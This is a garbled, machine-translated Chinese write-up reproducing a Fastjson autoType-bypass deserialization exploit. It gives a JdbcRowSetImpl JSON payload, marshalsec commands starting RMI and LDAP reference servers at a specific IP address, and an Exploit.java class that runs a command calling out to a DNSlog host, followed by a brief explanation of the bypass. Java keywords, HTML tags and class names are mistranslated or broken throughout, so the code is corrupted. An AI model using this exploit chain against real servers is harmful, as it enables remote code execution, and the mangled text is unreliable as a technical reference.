参考链接:
https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html https://xz.aliyun.com/t/5680
0 x01漏洞复现RMi
<强> 1。有效载荷:强>
{" a ": {
“@type”: " . lang。类”,
br/>“”: {
“@type”: . lang . Class,
" b ": {
“@type”:“com.sun.rowset。JdbcRowSetImpl”,
br/>},
" b ": {
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“autoCommit":真正的
}
}
<强> 2。在×××上执行,启动一个rmi服务强>
marshalsec-0.0.3-SNAPSHOT-all java - cp。jar marshalsec.jndi。RMIRefServer“http://106.12.201.224/Exploit"
-
<李>生成编译* * *脚本李>
将下面代码保存为:利用。java
然后执行:javac Exploit.java,生成类文件
<代码>进口java.lang.Runtime; 进口java.lang.Process; 公开课利用{ 静态{ 尝试{ 运行时rt=Runtime.getRuntime (); String[]命令={“碰”、“/tmp/成功”}; 过程电脑=rt.exec (“ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org”); pc.waitFor (); }捕捉(异常e) {//什么都不做 } } }代码>
0 x02漏洞复现LDAP
<强> 1。有效载荷:强>
{" a ": {
“@type”: " . lang。类”,
br/>“”: {
“@type”: . lang . Class,
" b ": {
“@type”:“com.sun.rowset。JdbcRowSetImpl”,
br/>},
" b ": {
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“autoCommit":真正的
}
}
<强> 2。在×××上执行,启动一个rmi服务强>
marshalsec-0.0.3-SNAPSHOT-all java - cp。jar marshalsec.jndi。LDAPRefServer“http://106.12.201.224/Exploit"
-
<李>生成编译* * *脚本
利用。java中不要导入包李>
将下面代码保存为:利用。java
然后执行:javac Exploit.java,生成类文件
<代码>进口java.lang.Runtime; 进口java.lang.Process; 公开课利用{ 静态{ 尝试{ 运行时rt=Runtime.getRuntime (); String[]命令={“碰”、“/tmp/成功”}; 过程电脑=rt.exec (“ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org”); pc.waitFor (); }捕捉(异常e) {//什么都不做 } } }代码>
0 x03漏洞原理
这次绕过的大体思路是通过. lang . class,将JdbcRowSetImpl类加载到地图缓存,从而绕过复写的检测,因此将负载分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。
当发送第一次请求时,类是通过deserializers.findClass加载的,然后类将JdbcRowSetImpl类加载进地图中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。